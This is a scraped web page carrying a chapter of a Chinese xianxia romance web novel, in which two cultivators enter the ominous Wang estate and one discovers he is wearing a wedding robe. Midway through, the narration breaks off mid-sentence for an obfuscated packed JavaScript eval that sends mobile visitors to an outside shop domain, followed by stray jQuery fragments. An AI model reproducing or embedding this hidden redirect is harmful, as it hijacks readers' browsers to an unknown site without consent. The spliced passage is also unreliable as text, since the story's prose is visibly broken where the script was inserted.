文趣网 > 其他小说 > 分手后冰山师弟他疯了 > 14. 身上痒吗?
    “你……”陆南风看见他那副样子,心里也没多好受,可现在他穿着苏泓的壳子,无法安慰顾慎之;站在自己的立场上,同样也不能接受顾慎之移情。

    他像是一个被困住悬崖上的孤鹰,进退皆是万丈深渊,突然有点怨恨自己为何要装成苏泓的模样下地,简直就是自讨苦吃。

    “二位仙家……”掌柜的站在一旁,瞧出这二人之间的气氛有些不对劲,他小心翼翼地添着热水,干笑道:“有位小姑娘,说是也想找仙君,您看……”

    陆南风竖眉回望,瞪得门口的姑娘浑身一哆嗦,可那姑娘并未退缩,反而攥紧了手,直直望向顾慎之。

    姑娘?顾慎之只记得那卖他笛子的姑娘,难道是遇到了什么难事?

    “劳烦掌柜请她进来。”顾慎之一向见不得姑娘为难,等那姑娘一出声,顾慎之便听出就是昨日的卖笛姑娘,便轻声问道:“姑娘,怎么了?”

    姑娘远远见过苏泓,只是没想到苏泓原来这么冷,她便朝顾慎之所在挪了几步,蹲下来小声道:“仙家,我听闻王公子来过,你要格外小心他们家。”

    顾慎之指尖一顿,笑道:“哦?王家还有这么多的说法呢?”

    姑娘压低了声音道:“王家早年供奉过一尊邪神,名叫姻缘教主,据说那神不仅管姻缘更是无所不能,有求必应。他所要的供奉就是让王家去抓活人祭品,尤其是生辰八字是阴年阴月阴日阴时的女子……”

    极阴之人?是要通灵吗?

    顾慎之眯起眼睛,继续听那姑娘说:“或许是早年做了恶事,王家的血脉日渐凋敝,子嗣单薄。那王老爷暴毙那日,有传言说得见有数名红衣女子从王家飘出,大家都觉得王家是遭了报应。您心善,可千万别中了王家的诡计。”

    顾慎之含笑道:“多谢姑娘提点,我们定多有留意。”

    那姑娘福身后匆匆退去,越过门槛时回眸望向顾慎之,眸中有一丝红光若隐若现。忽地,她飞快地收回视线,抬脚走出客栈。

    “她是谁?”陆南风问道。

    “是在方士摊前卖竹编的姑娘,我昨日找她打听了些方士的消息,算是有过一面之缘。”

    陆南风眸色一沉,“仅仅是一面之缘,便肯冒死来报?”

    顾慎之垂眸笑道:“总有人心存善念。”

    陆南风抬眸看向顾慎之,“你总是把人想得很好。”

    顾慎之微怔,他眨了眨茫然的眼睛,就听见陆南风起身道:“走吧,去王家。”

    城南多密林,早春还未有生机复苏,枯枝如爪刺向天幕,平白为这晴天添了几分阴森寒意。

    王家果然是富庶人家,隔着几里地都能瞧见那白墙灰瓦在树林中若隐若现。

    门前檐角悬着朱红灯笼,好似近日未曾更换,已有几分褪色。风过时,灯笼轻晃,影子落在玄黑色的高门上如血渍般斑驳。

    陆南风抬首看到内宅上方有几道微不可察的灰黑色煞气,盘旋在半空,将这晴空都染得泛青。

    他紧盯那缕煞气,瞄见本源应是落在内宅东苑,便收回目光,走在前面抬手叩响大门铜环。

    门应声而开,好似早有人等候多时。

    一身着短打布衣的青年率先迎了出来,躬身笑道:“恭迎二位仙家,我家老爷嘱咐小人先带二位入府歇息,老爷他刚服了帖药,还不能见风,稍后他亲来拜见。”

    陆南风颔首,算是应了,他虚握顾慎之的小臂,带人一起跨过门槛走进王家大院。

    刚一迈入,顾慎之本能的觉得蹊跷,周遭的风好似都静了几分,仿佛踏入了另一番天地。

    他有意垂眸,拍了下陆南风的手,不想让人察觉出他双目不便,便更多依在陆南风身后,随他缓步前行。

    这副模样,再加上他一袭红衣,更让仆役们觉得老爷早先的嘱咐是对的——此二人便是今日成婚的仙侣。

    小管家起初还以为是老爷病得太重在胡说八道,没想到二人举止如此自然亲密。

    着红衣的美貌仙家偏头倚在对方怀中,垂首低眉,寸步不离,乖顺似只猫儿。

    戴面具的一手托着对方的手臂,另一手虚揽对方的腰身,就几步路的距离,频频垂眸瞧着怀中人,那眼神浓情缱绻,全然越过兄弟界限。

    管家急忙收回探寻的目光,面上不敢显露半分诧异,内心震惊这修界作风真是开明。

    “老爷特意嘱咐要为二位备下暖阁,祝二位仙人喜气盈门。”那小管家引着二人穿过垂花门,入目便是一座朱漆雕花,还挂着几张喜字的暖阁。

    陆南风脸色一变,他停下脚步,睨着那小管家,声音冷如霜刃:“这是什么意思?”

    小管家一怔,被无形的威压吓得不敢抬首,额头沁出细汗,颤声道:“仙……仙家,这是老爷的一片心意……您,您不喜欢,我们就换个阁子……”

    顾慎之听着奇怪,既然是王家的一片心意,自然是准备妥帖的,为何陆南风又生气了呢?

    但有外人在侧,他不好直接询问,且早就查出此处有异,便不想因此打草惊蛇,索性拉住陆南风道:“无妨,就这间吧。”

    可陆南风执拗,站定在此处,死活不想迈步,顾慎之悄悄捏了他好几下,暗示他稍安勿躁都没有用。

    顾慎之轻叹一声,正要依着他改口换房,就听陆南风道:“东苑可还有房?”

    小管家一愣,颤颤巍巍道:“东苑……仙家,东苑是内宅,怕是有些……不太方便。”

    陆南风顺势道:“那一会去其余宅院看看。”

    说罢,他领着顾慎之进入那写满喜字的暖阁,道:“在这等我。”

    便不由分说地松开手,转身就向外走去。

    顾慎之停在原地,直到两个侍女从身旁走过,替他奉上热茶。

    顾慎之接过茶盏,小声道谢,他长得好看又亲切,两个小侍女红着脸,也跟着祝福了句:“祝仙君百年好合,永结同心!”

    说完,便对视一眼,羞红着脸,抬袖遮掩嘴角,关门退下。

    顾慎之举着热茶一头雾水,好莫名其妙,怎么就百年好合、永结同心了?

    难道他和陆南风单是一看就如此相配?真乃天造地设的一对?

    他摇了摇头,摒弃这荒唐的想法,内心震惊为何如此?

    风缓缓动吹过窗棂,“呼噜呼噜”地好似吹得窗纸微颤。

    顾慎之一瞬间想到什么,他放下茶盏,快步走到窗边,指尖轻抚窗纸,摸出贴得是个大大的“喜喜”字时,缓缓瞪大了双眸。

    他神念一转,仔细摸索法袍上绣得纹样,竟然是朵并蒂红莲!

    顾慎之心口登时一沉,骂了句脏话。

    他怎么穿上了给沈恕备的贺礼婚服!

    怪不得陆南风今日对自己这么冷淡!原来是看不惯他穿着一身喜服,还对着“苏泓”问好不好看!?

    陆南风昨日就嫌弃他不自重,如今更不知道会如何想他,怕是认定他就个浪荡货色,平白无故对着“苏泓”示好,还穿着喜服招摇过市。

    他一脸哀色,捶胸顿足,当即就扯腰带,扒衣服。

    暖阁内的温度本就热些,此时更是急得

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698143|208037||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要命,他顶着一头大汗,跟这身喜服搏斗,动作急躁,将衣带越扯越紧,索性施了些力气全部撕开。

    衣襟散开刹那,门“吱呀”一声被推开了。

    陆南风站在,面沉如寒潭深水,眸冷似数九寒霜,直直地立在门口,望着顾慎之衣衫半解的模样。

    那阴沉的眼眸依次扫过散落在地的腰带、撕散的法袍、揉皱的红莲……视线最后落在那人半敞的雪白胸膛上。

    那枚红痣在银白色的肌肤上依旧格外刺目,陆南风错开眼,压着怒火沉声道:“你身上痒吗?大白天脱什么衣服?!”

    顾慎之动作僵在半空,不过脑子地说道:“那你帮我挠挠……”

    话音未落,陆南风已一步跨入暖阁,反手阖门,震得窗棂嗡鸣。

    他一把拉起顾慎之的衣服,遮起那一片风光,低声怒喝:“武陵仙君,你对谁都这样不设防吗?”

    这话像根长针,猛地扎进顾慎之耳朵里,刺得他生疼。

    看来陆南风真生气了,曾经他也这么说过自己一次。

    那是在试炼的九重塔里,他同陆南风从温泉中走出,就遇上神女一行人被塔内邪祟围困。

    因神女的安危与天命任务息息相关,他不敢有丝毫迟疑,当即甩开陆南风的手,朝神女所在奔去。

    遥见密林成片倾斜,如被无形巨掌压垮,三条巨大的蛇影蜿蜒贴地而行,速度飞快,追着一行人冲去!

    顾慎之定睛一看,发现乌引不在其中,神女身边只有燕眭和一名内门弟子,当即心中不安。

    燕眭虽是为好友,但也只是普通修士,自保尚且不易,遑论护人。燕眭都靠不住,那个连面都没见过的内门弟子更是靠不住。

    果真如他所料,那内门弟子脚步一滑,就要被追上,他扭身刚挥剑格挡便被为首的大蟒一口咬住。

    神女早已都跑出三丈远,但见此状登时停下脚步,反身冲去,用剑刺向蟒首。

    第二条巨蟒错身腾空而起,越过第一只就朝神女直扑而去。

    燕眭一咬牙也折返救人,一脚踹开那蛇头,悬在空中还未落地,就被接着赶来的第三条大蟒的蛇尾扫中胸口,将他甩飞,撞在树干上。

    为首的大蟒躲过剑锋,但已被激怒,他立起半身,张开紫黑的鳞甲,巨大的蛇头吐着猩红的信子,直朝神女天灵盖噬下!

    电光火石之间,顾慎之当即甩出金甲钟罩住神女,又砸出泰山印打向蛇头。

    蛇首处轰然一声巨响,金光炸裂,碎鳞如雨溅落。

    顾慎之飞身掠至神女身侧,见神女面色惨白,嘴唇青紫,阖眼倒在地上战栗不休,明显是中了蛇毒!

    顾慎之心下一惊,回首辨认究竟哪条有毒,就见方才被法印打得头歪颈斜、碎鳞横飞的巨蟒,眼露幽绿凶光,悄无声息地贴在他身后。

    这巨蟒竟仍未毙命,反倒因穷途末路生出一分同归于尽的架势,哪怕下颌被炸掉大半,血流如瀑,也要张开血盆大口将他囫囵吞下!

    硕大血腥的蛇头距他只有不到一丈远,裹着腥臭的味道,其状惨烈骇人。顾慎之被吓得脊背一凉,脚下好似被钉在原地,头脑瞬间空白,眼睁睁瞧着蛇首逼近……

    猝然,一道人影挟风而至,意剑出鞘,银光一闪,剑锋已没入蛇颈三寸。

    陆南风持剑一挑,蛇头坠地。腥血喷涌间,他反手将顾慎之拽向身后,撕开外袍挥挡住前面溅射的污血。

    顾慎之双膝一软,就要蹲坐在地,倏然被陆南风一把揽住腰身,稳稳扶住他后,陆南风哑声道:“你不要命了?”